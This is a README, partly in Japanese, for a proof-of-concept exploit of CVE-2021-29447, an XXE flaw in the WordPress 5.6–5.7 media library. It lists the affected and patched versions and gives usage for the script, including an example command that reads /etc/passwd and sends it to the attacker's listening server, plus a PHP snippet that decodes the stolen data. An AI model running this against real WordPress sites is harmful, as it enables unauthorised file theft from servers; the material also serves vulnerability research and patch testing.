
WordPress 5.6 メディアライブラリの脆弱性に対する概念実証エクスプロイト
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023
═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447: ファイルのアップロードが許可されているユーザー(Author など)が、メディアライブラリのXML解析の問題を悪用してXXE攻撃を引き起こす可能性があります。これには WordPress のインストールが PHP 8 を使用している必要があります。XXE攻撃が成功すると、内部ファイルへのアクセスが可能になります。この問題は WordPress バージョン 5.7.1 およびそれ以前の影響を受けるバージョンでマイナーリリースにより修正されました。
このスクリプトは理解しやすく、実行も簡単で、WordPress メディアライブラリに対するXXE攻撃の悪用に必要な手順を自動化します。
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help ヘルプメッセージを表示して終了
-l LHOST, --lhost LHOST あなたのサーバーのIPアドレス(例: 10.0.2.15)
-p PORT, --port PORT あなたのサーバーのポート(例: 1337)
-f FILE, --file FILE 読み込むシステムファイル(例: /etc/passwd)
例:
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
base64をデコードするには、以下のPHPスニペットを使用/実行してください:
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php